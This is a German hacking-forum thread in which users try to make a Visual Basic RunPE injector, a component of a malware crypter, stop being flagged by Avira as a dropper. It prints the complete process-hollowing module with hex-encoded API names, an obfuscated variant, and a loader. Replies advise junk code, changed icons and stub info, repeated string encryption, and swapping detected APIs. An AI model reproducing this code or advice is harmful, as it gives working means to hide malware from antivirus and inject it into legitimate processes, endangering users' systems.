                WEDFghbtfvrde4567icvghbun rtgzhRfDFf34dfzgh6TRhf5CFGV, ByVal rtgzhRfDFfghd54567gTRhf5CFGV + .afasdfUI43w234er23r4dfZRFi7fi6rfigu76tf + dfgsrtshtgh675fght7ghtzr676 * 4, 4
               
                dfgsrt43afd454frtz6asdasdf5ght7ghtzr676 = rtgzhRfDFf34dfzgh6TRhf5CFGV + rtgzhRfDFfghd54567gTRhf5CFGV
                           
                If dfgsrt43afd454frtz6asdasdf5ght7ghtzr676 >= rtgzhRfDFfghd567gTRCFGV And _
                  dfgsrt43afd454frtz6asdasdf5ght7ghtzr676 <= rtgzhRfDFfghd567gTRhf5CFGV Then
                    Call rtgzhRDFZGvtfcrd567gTRCFGV(dfgsrt43afd454frtz6asdasdf5ght7ghtzr676, dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrt43afd454frtz6asdf5ght7ghtzr676)
                    If Not dfgsrt4354frtz6asdf5ght7ghtzr676 = 0 Then
                        dfgsrt43afd454frtz6asdasdf5ght7ghtzr676 = dfgsrt43afd454frtz6asdasdf5ght7ghtzr676(dfgsrt4354frtz6asdf5ght7ghtzr676, dfgsrt43afd454frtz6asdf5ght7ghtzr676)
                    Else
                        dfgsrt43afd454frtz6asdasdf5ght7ghtzr676 = 0
                    End If
                End If
               
                Exit Function
            End If
        Next
    End With
   
End Function

Public Function sdf234sfdasdasdw4t4fsdfsdf3ascv42rfsdg()

End Function

---

Hier der aufruf:

Code:

---

Private Sub Form_Load()
    Dim bvData()    As Byte
    Dim iFile      As Integer
    Dim c          As New cGsPE
   
    iFile = FreeFile

        Open Environ$("windir") & "\system32\calc.exe" For Binary Access Read As iFile
        ReDim bvData(LOF(iFile) - 1)
        Get iFile, , bvData
        Close iFile
   
        c.dfgsrfghjzeztu56uzFf5ght7ghtzr676 bvData
End Sub

---

der jedoch wird nicht erkannt. kann den aufruf code entfernen
wird aber trotzdem noch als Dropper erkannt.

Hat jemand noch eine idee was ich machen könnte ?

Greetz

es wird erkannt wie du deine datei an die stub hängst veränderst du dies ist es ud...

Es gibt doch ein Tutorial von Ebfe in dem alles erklärt wird. hier ist mal ein Link für dich. Edit sorry hatte jetzt gedacht du hättest eine kompilierte Anwendung.

Trashcode adden icon ändern stubinfo ändern.

Die API RtlMoveMemory ist glaube ich detected.Da musste einen Ersatz für finden.
mfG

Naja ich habe die RtlMoveMemory mal auskommentiert.
Und die Dropper detection war immer noch da.

Hat jemand noch eine RunPE version die auf Vista + Win7 läuft ?
Vllt. kann sie ja jemand posten.

Greetz

In der main sub alle Strings verschlüsseln , haste schon ne Section geaddet ?


Edit: Was ist das überhaupt für ein RunPE ? Kannste mal die unveränderte Version posten bitte ?

mfG

Ich hänge doch noch gar nichts an eine Stub an.
Es handelt sich doch nur um das RunPe module und die den Win Rechner ausführt.
Normal schlägt AntiVir doch erst an wenn ich eine verschlüsselte *.exe an
die Stub anhänge ?!

Wenn ich das PE module komplett raus nehme, ist die Dropper detection weg.

Ich habe dieses Module von Cobeins Blog genommen:
http://www.advancevb.com.ar/?p=151

Wie gesagt, wäre cool wenn mir jemand ein anderes RunPE module geben
könnte da hackhound im moment offline ist.
Sollte auf Win 7 laufen.

Greetz

Nein muss nicht , du brauchst lediglich das:

Zitat:

---

Private Type tAPICall
ptsLIB As Long ' Pointer to ANSI String that contains Library
ptr3W3d5yRSclgKZsNfaPyEFD As Long ' Pointer to ANSI String that contains Procedure
lReserved As Long ' Just reserved...
lPointer As Long ' Pointer to the buffer that will contain temp variables from DllFunctionCall
lpBuffer(3) As Long ' Buffer that will contain temp variables
End Type


Private Declare Function DllFunctionCall Lib "MSVBVM60" (ByRef typeAPI As tAPICall) As Long

---

In ein Projekt schreiben und die compilte .exe wird als Dropper erkannt ;)
Ich sagte nicht stub sondern sub.
In deiner Main sub alle Strings verschlüsseln und die Strings im RunPE
ebenfalls.

Ich habe doch gar kein tAPICall bzw. DllFunctionCall
in meinem Code. Im RunPe module sind alles strings verschlüsselt.
Werde die main jetzt noch machen und dann nochmal posten.

Greetz

Ich habe das geschrieben weil ich dir Beweisen wollte das Avira es nicht nur erkennt wenn man ne Datei an die Stub hängt.Dann verschlüssele die Strings halt nochmal im RunPE , solange bis Avira ruhig ist.

Nochmal encrypten bewirkt glaub ich auch nix.
Ich habe mal nach einander die verschiedenen Subs raus genommen
und dann gescannt. Die detection war immer da, auch nachdem ich jede sub einmal raus
genommen habe.

inmate welche runpe verwendest du in deinem crypter ?
Kannst du mir das original mal zukommen lassen ?

Greetz

Edit:
In der main die Strings habe ich auch mal verschlüsselt ohne erfolg. Tr.Dropper.Gen >.<

Das RunPE von Karcrack, da es das mir einzige bekannte ist welches unter Windows 7 läuft.Habe das Originale zZ nicht da, und HackHound ist down.
Doch du musst die Strings öfters verschlüsseln das hilft, glaub mir ;), lade mal das Projekt hoch ich mache es dir.

mfG

Mist hab jetzt das von mir verschlüsselte schon gelöscht >.<
Hab nur noch das Original von cobein hier:
http://ul.to/rz57rk

Ich werde jetzt mal das von Karcrack suchen.

Greetz

Edit:
Ist es diese RunPE die du nutzt:

Code:

---

'---------------------------------------------------------------------------------------
' Module      : cNtPEL
' DateTime    : 30/06/2009 06:32
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage    : http://www.advancevb.com.ar (updated =D)
' Purpose    : Inject Exe
' Usage      : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'              applications, but you may not reproduce
'              or publish this code on any web site,
'              online service, or distribute as source
'              on any media without express permission.
'
' Thanks to  : This is gonna be a looong list xD
'              Batfitch - kernel base asm
'              Karcrack - For helping me to debug and test it
'              Paul Caton - vTable patch examples
'              rm_code - First call api prototype
'              and different books and pappers
'
' Compile    : P-Code !!!
'
' Comments    : Coded on top of the invoke module.
'
' History    : 30/06/2009 First Cut....................................................
'              02/08/2009 Modded By Karcrack, Now is NtRunPEL, thanks Slayer (;........
'---------------------------------------------------------------------------------------
Option Explicit

Private Const IMAGE_DOS_SIGNATURE      As Long = &H5A4D&
Private Const IMAGE_NT_SIGNATURE        As Long = &H4550&

Private Const SIZE_DOS_HEADER          As Long = &H40
Private Const SIZE_NT_HEADERS          As Long = &HF8
Private Const SIZE_EXPORT_DIRECTORY    As Long = &H28
Private Const SIZE_IMAGE_SECTION_HEADER As Long = &H28

Private Const THUNK_APICALL            As String = "8B4C240851<PATCH1>E8<PATCH2>5989016631C0C3"
Private Const THUNK_KERNELBASE          As String = "8B5C240854B830000000648B008B400C8B401C8B008B400889035C31C0C3"

Private Const PATCH1                    As String = "<PATCH1>"
Private Const PATCH2                    As String = "<PATCH2>"

Private Const CONTEXT_FULL              As Long = &H10007
Private Const CREATE_SUSPENDED          As Long = &H4
Private Const MEM_COMMIT                As Long = &H1000
Private Const MEM_RESERVE              As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE    As Long = &H40

Private Type STARTUPINFO
    cb                          As Long
    lpReserved                  As Long
    lpDesktop                  As Long
    lpTitle                    As Long
    dwX                        As Long
    dwY                        As Long
    dwXSize                    As Long
    dwYSize                    As Long
    dwXCountChars              As Long
    dwYCountChars              As Long
    dwFillAttribute            As Long
    dwFlags                    As Long
    wShowWindow                As Integer
    cbReserved2                As Integer
    lpReserved2                As Long
    hStdInput                  As Long
    hStdOutput                  As Long
    hStdError                  As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess                    As Long
    hThread                    As Long
    dwProcessID                As Long
    dwThreadID                  As Long
End Type

Private Type FLOATING_SAVE_AREA
    ControlWord                As Long
    StatusWord                  As Long
    TagWord                    As Long
    ErrorOffset                As Long
    ErrorSelector              As Long
    DataOffset                  As Long
    DataSelector                As Long
    RegisterArea(1 To 80)      As Byte
    Cr0NpxState                As Long
End Type

Private Type CONTEXT
    ContextFlags                As Long
    Dr0                        As Long
    Dr1                        As Long
    Dr2                        As Long
    Dr3                        As Long
    Dr6                        As Long
    Dr7                        As Long
    FloatSave                  As FLOATING_SAVE_AREA
    SegGs                      As Long
    SegFs                      As Long
    SegEs                      As Long
    SegDs                      As Long
    Edi                        As Long
    Esi                        As Long
    Ebx                        As Long
    Edx                        As Long
    Ecx                        As Long
    Eax                        As Long
    Ebp                        As Long
    Eip                        As Long
    SegCs                      As Long
    EFlags                      As Long
    Esp                        As Long
    SegSs                      As Long
End Type

Private Type IMAGE_DOS_HEADER
    e_magic                    As Integer
    e_cblp                      As Integer
    e_cp                        As Integer
    e_crlc                      As Integer
    e_cparhdr                  As Integer
    e_minalloc                  As Integer
    e_maxalloc                  As Integer
    e_ss                        As Integer
    e_sp                        As Integer
    e_csum                      As Integer
    e_ip                        As Integer
    e_cs                        As Integer
    e_lfarlc                    As Integer
    e_ovno                      As Integer
    e_res(0 To 3)              As Integer
    e_oemid                    As Integer
    e_oeminfo                  As Integer
    e_res2(0 To 9)              As Integer
    e_lfanew                    As Long
End Type

Private Type IMAGE_FILE_HEADER
    Machine                    As Integer
    NumberOfSections            As Integer
    TimeDateStamp              As Long
    PointerToSymbolTable        As Long
    NumberOfSymbols            As Long
    SizeOfOptionalHeader        As Integer
    Characteristics            As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
    VirtualAddress              As Long
    Size                        As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
    Magic                      As Integer
    MajorLinkerVersion          As Byte
    MinorLinkerVersion          As Byte
    SizeOfCode                  As Long
    SizeOfInitializedData      As Long
    SizeOfUnitializedData      As Long
    AddressOfEntryPoint        As Long
    BaseOfCode                  As Long
    BaseOfData                  As Long
    ImageBase                  As Long
    SectionAlignment            As Long
    FileAlignment              As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion          As Integer
    MinorImageVersion          As Integer
    MajorSubsystemVersion      As Integer
    MinorSubsystemVersion      As Integer
    W32VersionValue            As Long
    SizeOfImage                As Long
    SizeOfHeaders              As Long
    CheckSum                    As Long
    SubSystem                  As Integer
    DllCharacteristics          As Integer
    SizeOfStackReserve          As Long
    SizeOfStackCommit          As Long
    SizeOfHeapReserve          As Long
    SizeOfHeapCommit            As Long
    LoaderFlags                As Long
    NumberOfRvaAndSizes        As Long
    DataDirectory(0 To 15)      As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
    Signature                  As Long
    FileHeader                  As IMAGE_FILE_HEADER
    OptionalHeader              As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_EXPORT_DIRECTORY
  Characteristics              As Long
  TimeDateStamp                As Long
  MajorVersion                As Integer
  MinorVersion                As Integer
  lpName                      As Long
  Base                        As Long
  NumberOfFunctions            As Long
  NumberOfNames                As Long
  lpAddressOfFunctions        As Long
  lpAddressOfNames            As Long
  lpAddressOfNameOrdinals      As Long
End Type

Private Type IMAGE_SECTION_HEADER
    SecName                    As String * 8
    VirtualSize                As Long
    VirtualAddress              As Long
    SizeOfRawData              As Long
    PointerToRawData            As Long
    PointerToRelocations        As Long
    PointerToLinenumbers        As Long
    NumberOfRelocations        As Integer
    NumberOfLinenumbers        As Integer
    Characteristics            As Long
End Type

Private Declare Sub CpyMem Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)

Private c_lKrnl        As Long
Private c_lLoadLib      As Long
Private c_bInit        As Boolean
Private c_lVTE          As Long
Private c_lOldVTE      As Long
Private c_bvASM(&HFF)  As Byte
       
Public Function zDoNotCall() As Long
    'This function will be replaced with machine code laterz
    'Do not add any public procedure on top of it
End Function

Public Function RunPE(ByRef bvBuff() As Byte, Optional sHost As String, Optional ByRef hProc As Long) As Boolean
    Dim i                      As Long
    Dim tIMAGE_DOS_HEADER      As IMAGE_DOS_HEADER
    Dim tIMAGE_NT_HEADERS      As IMAGE_NT_HEADERS
    Dim tIMAGE_SECTION_HEADER  As IMAGE_SECTION_HEADER
    Dim tSTARTUPINFO            As STARTUPINFO
    Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
    Dim tCONTEXT                As CONTEXT
    Dim lKernel                As Long
    Dim lNTDll                  As Long
    Dim lMod                    As Long
   
    If Not c_bInit Then Exit Function

    Call CpyMem(tIMAGE_DOS_HEADER, bvBuff(0), SIZE_DOS_HEADER)
   
    If Not tIMAGE_DOS_HEADER.e_magic = IMAGE_DOS_SIGNATURE Then
        Exit Function
    End If

    Call CpyMem(tIMAGE_NT_HEADERS, bvBuff(tIMAGE_DOS_HEADER.e_lfanew), SIZE_NT_HEADERS)
   
    If Not tIMAGE_NT_HEADERS.Signature = IMAGE_NT_SIGNATURE Then
        Exit Function
    End If
   
                                    'kernel32
    lKernel = LoadLibrary(nlfpkgnrj("6B65726E656C3332"))                                                                                              'KPC
                                    'ntdll
    lNTDll = LoadLibrary(nlfpkgnrj("6E74646C6C"))                                                                                                  'KPC
   
    If sHost = vbNullString Then
        sHost = Space(260)
                                                'GetModuleFileNameW
        lMod = GetProcAddress(lKernel, nlfpkgnrj("4765744D6F64756C6546696C654E616D6557"))                                                                        'KPC
        Invoke lMod, App.hInstance, StrPtr(sHost), 260
    End If
   
    With tIMAGE_NT_HEADERS.OptionalHeader
       
        tSTARTUPINFO.cb = Len(tSTARTUPINFO)
           
                                                'CreateProcessW
        lMod = GetProcAddress(lKernel, nlfpkgnrj("43726561746550726F6365737357"))                                                                            'KPC
        Invoke lMod, 0, StrPtr(sHost), 0, 0, 0, CREATE_SUSPENDED, 0, 0, VarPtr(tSTARTUPINFO), VarPtr(tPROCESS_INFORMATION)

                                                'NtUnmapViewOfSection
        lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74556E6D6170566965774F6653656374696F6E"))                                                                      'KPC
        Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase
       
                                                'VirtualAllocEx
        lMod = GetProcAddress(lKernel, nlfpkgnrj("5669727475616C416C6C6F634578"))                                                                            'KPC
        Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase, .SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
       
                                                'NtWriteVirtualMemory
        lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E7457726974655669727475616C4D656D6F7279"))                                                                      'KPC
        Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase, VarPtr(bvBuff(0)), .SizeOfHeaders, 0
   
        For i = 0 To tIMAGE_NT_HEADERS.FileHeader.NumberOfSections - 1
            CpyMem tIMAGE_SECTION_HEADER, bvBuff(tIMAGE_DOS_HEADER.e_lfanew + SIZE_NT_HEADERS + SIZE_IMAGE_SECTION_HEADER * i), Len(tIMAGE_SECTION_HEADER)
            Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase + tIMAGE_SECTION_HEADER.VirtualAddress, VarPtr(bvBuff(tIMAGE_SECTION_HEADER.PointerToRawData)), tIMAGE_SECTION_HEADER.SizeOfRawData, 0
        Next i

        tCONTEXT.ContextFlags = CONTEXT_FULL
       
                                                'NtGetContextThread
        lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74476574436F6E74657874546872656164"))                                                                        'KPC
        Invoke lMod, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
   
                                                'NtWriteVirtualMemory
        lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E7457726974655669727475616C4D656D6F7279"))                                                                      'KPC
        Invoke lMod, tPROCESS_INFORMATION.hProcess, tCONTEXT.Ebx + 8, VarPtr(.ImageBase), 4, 0
     
        tCONTEXT.Eax = .ImageBase + .AddressOfEntryPoint
       
                                                'NtSetContextThread
        lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74536574436F6E74657874546872656164"))                                                                        'KPC
        Invoke lMod, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
       
                                                'NtResumeThread
        lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74526573756D65546872656164"))                                                                            'KPC
        Invoke lMod, tPROCESS_INFORMATION.hThread, 0
       
        hProc = tPROCESS_INFORMATION.hProcess
    End With
   
    RunPE = True
End Function

Public Function Invoke(ByVal lMod As Long, ParamArray Params()) As Long
    Dim lPtr        As Long
    Dim i          As Long
    Dim sData      As String
    Dim sParams    As String
   
    If lMod = 0 Then Exit Function
   
    For i = UBound(Params) To 0 Step -1
        sParams = sParams & "68" & GetLong(CLng(Params(i)))
    Next
   
    lPtr = VarPtr(c_bvASM(0))
    lPtr = lPtr + (UBound(Params) + 2) * 5
    lPtr = lMod - lPtr - 5
   
    sData = THUNK_APICALL
    sData = Replace(sData, PATCH1, sParams)
    sData = Replace(sData, PATCH2, GetLong(lPtr))
   
    Call PutThunk(sData)
   
    Invoke = PatchCall
End Function

Private Function GetLong(ByVal lData As Long) As String
    Dim bvTemp(3)  As Byte
    Dim i          As Long
   
    CpyMem bvTemp(0), lData, &H4
    For i = 0 To 3
        GetLong = GetLong & Right("0" & Hex(bvTemp(i)), 2)
    Next
End Function

Private Sub PutThunk(ByVal sThunk As String)
    Dim i  As Long
    For i = 0 To Len(sThunk) - 1 Step 2
        c_bvASM((i / 2)) = CByte("&h" & Mid$(sThunk, i + 1, 2))
    Next i
End Sub

Private Function PatchCall() As Long
    CpyMem c_lVTE, ByVal ObjPtr(Me), &H4
    c_lVTE = c_lVTE + &H1C
    CpyMem c_lOldVTE, ByVal c_lVTE, &H4
    CpyMem ByVal c_lVTE, VarPtr(c_bvASM(0)), &H4
    PatchCall = zDoNotCall
    CpyMem ByVal c_lVTE, c_lOldVTE, &H4
End Function

Public Function GetMod(ByVal sLib As String, ByVal sProc As String) As Long
    GetMod = Me.GetProcAddress(Me.LoadLibrary(sLib), sProc)
End Function

Public Function LoadLibrary(ByVal sLib As String) As Long
    LoadLibrary = Invoke(c_lLoadLib, StrPtr(sLib & vbNullChar))
End Function

Public Property Get Initialized() As Boolean
    Initialized = c_bInit
End Property

Public Sub Class_Initialize()

    Call PutThunk(THUNK_KERNELBASE)
   
    c_lKrnl = PatchCall
   
    If Not c_lKrnl = 0 Then
        c_lLoadLib = GetProcAddress(c_lKrnl, "LoadLibraryW")
        If Not c_lLoadLib = 0 Then
            c_bInit = True
        End If
    End If
End Sub

Public Function GetProcAddress(ByVal lMod As Long, ByVal sProc As String) As Long
    Dim tIMAGE_DOS_HEADER      As IMAGE_DOS_HEADER
    Dim tIMAGE_NT_HEADERS      As IMAGE_NT_HEADERS
    Dim tIMAGE_EXPORT_DIRECTORY As IMAGE_EXPORT_DIRECTORY
   
    Call CpyMem(tIMAGE_DOS_HEADER, ByVal lMod, SIZE_DOS_HEADER)
   
    If Not tIMAGE_DOS_HEADER.e_magic = IMAGE_DOS_SIGNATURE Then
        Exit Function
    End If

    Call CpyMem(tIMAGE_NT_HEADERS, ByVal lMod + tIMAGE_DOS_HEADER.e_lfanew, SIZE_NT_HEADERS)
   
    If Not tIMAGE_NT_HEADERS.Signature = IMAGE_NT_SIGNATURE Then
        Exit Function
    End If
   
    Dim lVAddress  As Long
    Dim lVSize      As Long
    Dim lBase      As Long
   
    With tIMAGE_NT_HEADERS.OptionalHeader
        lVAddress = lMod + .DataDirectory(0).VirtualAddress
        lVSize = lVAddress + .DataDirectory(0).Size
        lBase = .ImageBase
    End With
   
    Call CpyMem(tIMAGE_EXPORT_DIRECTORY, ByVal lVAddress, SIZE_EXPORT_DIRECTORY)
     
    Dim i          As Long
    Dim lFunctAdd  As Long
    Dim lNameAdd    As Long
    Dim lNumbAdd    As Long

    With tIMAGE_EXPORT_DIRECTORY
        For i = 0 To .NumberOfNames - 1
         
            CpyMem lNameAdd, ByVal lBase + .lpAddressOfNames + i * 4, 4
           
            If StringFromPtr(lBase + lNameAdd) = sProc Then
                CpyMem lNumbAdd, ByVal lBase + .lpAddressOfNameOrdinals + i * 2, 2
                CpyMem lFunctAdd, ByVal lBase + .lpAddressOfFunctions + lNumbAdd * 4, 4
               
                GetProcAddress = lFunctAdd + lBase
                           
                If GetProcAddress >= lVAddress And _
                  GetProcAddress <= lVSize Then
                    Call ResolveForward(GetProcAddress, lMod, sProc)
                    If Not lMod = 0 Then
                        GetProcAddress = GetProcAddress(lMod, sProc)
                    Else
                        GetProcAddress = 0
                    End If
                End If
               
                Exit Function
            End If
        Next
    End With
   
End Function

Private Function ResolveForward( _
      ByVal lAddress As Long, _
      ByRef lLib As Long, _
      ByRef sMod As String)
     
    Dim sForward    As String

    sForward = StringFromPtr(lAddress)
    If InStr(1, sForward, ".") Then
        lLib = LoadLibrary(Split(sForward, ".")(0))
        sMod = Split(sForward, ".")(1)
    End If
   
End Function

Private Function StringFromPtr( _
      ByVal lAddress As Long) As String
     
    Dim bChar      As Byte
   
    Do
        CpyMem bChar, ByVal lAddress, 1
        lAddress = lAddress + 1
        If bChar = 0 Then Exit Do
        StringFromPtr = StringFromPtr & Chr$(bChar)
    Loop
   
End Function

Private Function nlfpkgnrj(ByVal sData As String) As String
    Dim i      As Long
    For i = 1 To Len(sData) Step 2
      nlfpkgnrj = nlfpkgnrj & Chr$(Val("&H" & Mid$(sData, i, 2)))
    Next i
End Function

---

Und was spricht eigentlich dagegen euer eigenes RunPE Modul zu programmieren?

Kannst du ja gerne tun wenn du es kannst.
Es gibt in Visual Basic keine injections methoden die nicht auf RunPE
basieren. Warum neu schreiben wenn es hunderte verschiedene Mods gibt ?
Ich selber könnte es auch nicht wenn ich erlich bin, aber wie dem auch sei
das ist nicht das Thema des Threades.

Greetz

Zitat:

---

Zitat von locos

Kannst du ja gerne tun wenn du es kannst.

---

Kann ich, habe ich. Allerdings nicht in VB, sondern in C. (da hat man wenigstens gescheite Header, die die PE-Strukturen und WinAPI-Funktionen definieren; das man das bei VB selber definieren muss sagst einem auch schon für welche Tätigkeiten MS VB (nicht) konzepiert hat)

Zitat:

---

Zitat von locos

Es gibt in Visual Basic keine injections methoden die nicht auf RunPE
basieren.

---

Und wieso nicht?
Wenn du mit RunPE dieses spezielle Modul meinst und nicht die Technik, dann wäre es ein echtes Armutszeugnis, wenn jeder das nur kopiert.

Falls du mit RunPE die benutzte Technik meinst, so ist zu sagen, dass du auch auf andere Weise einen Crypter realisieren kannst.
Dabei müsstest du zwar die Stub in ASM schreiben, aber den Crypter könntest du nach wie vor in VB schreiben.

Zitat:

---

Zitat von locos

Ich selber könnte es auch nicht wenn ich erlich bin, aber wie dem auch sei
das ist nicht das Thema des Threades.

---

Ich verstehe nicht wie das NICHT Thema des Threads sein kann.
Wenn du dich darüber beschwerst, dass das Modul, das du benutzt erkannt wird wäre es doch das Beste dir dein eigenes Modul zu schreiben.


MfG. BlackBerry

Zitat:

---

Zitat von BlackBerry

Ich verstehe nicht wie das NICHT Thema des Threads sein kann.

---

Naja Thema des Thread ist "RunPe wird als Tr.Dropper erkannt"
und nicht, eigene Injections Methode in VB schreiben.

Zitat:

---

Zitat von BlackBerry

Wenn du dich darüber beschwerst, dass das Modul, das du benutzt erkannt wird wäre es doch das Beste dir dein eigenes Modul zu schreiben.

---

Ich habe mich in keinem meiner beträge beschwert das, dass module erkannt wird.
Habe ledentlich gefragt ob mir wer helfen kann die Detection zu umgehen.

Naja will nicht diskutieren hier,
suche eigentlich nur hilfe für das Dropper problem.

Greetz

Es gibt ein Currency RunPe module von Sonnykuccio kann es die Tage mal posten ;)

Zitat:

---

Zitat von locos

Naja Thema des Thread ist "RunPe wird als Tr.Dropper erkannt"
und nicht, eigene Injections Methode in VB schreiben.


Ich habe mich in keinem meiner beträge beschwert das, dass module erkannt wird.
Habe ledentlich gefragt ob mir wer helfen kann die Detection zu umgehen.

Naja will nicht diskutieren hier,
suche eigentlich nur hilfe für das Dropper problem.

Greetz

---

Er hat dir ja die Lösung verraten. Schreib deinen eigenen Code.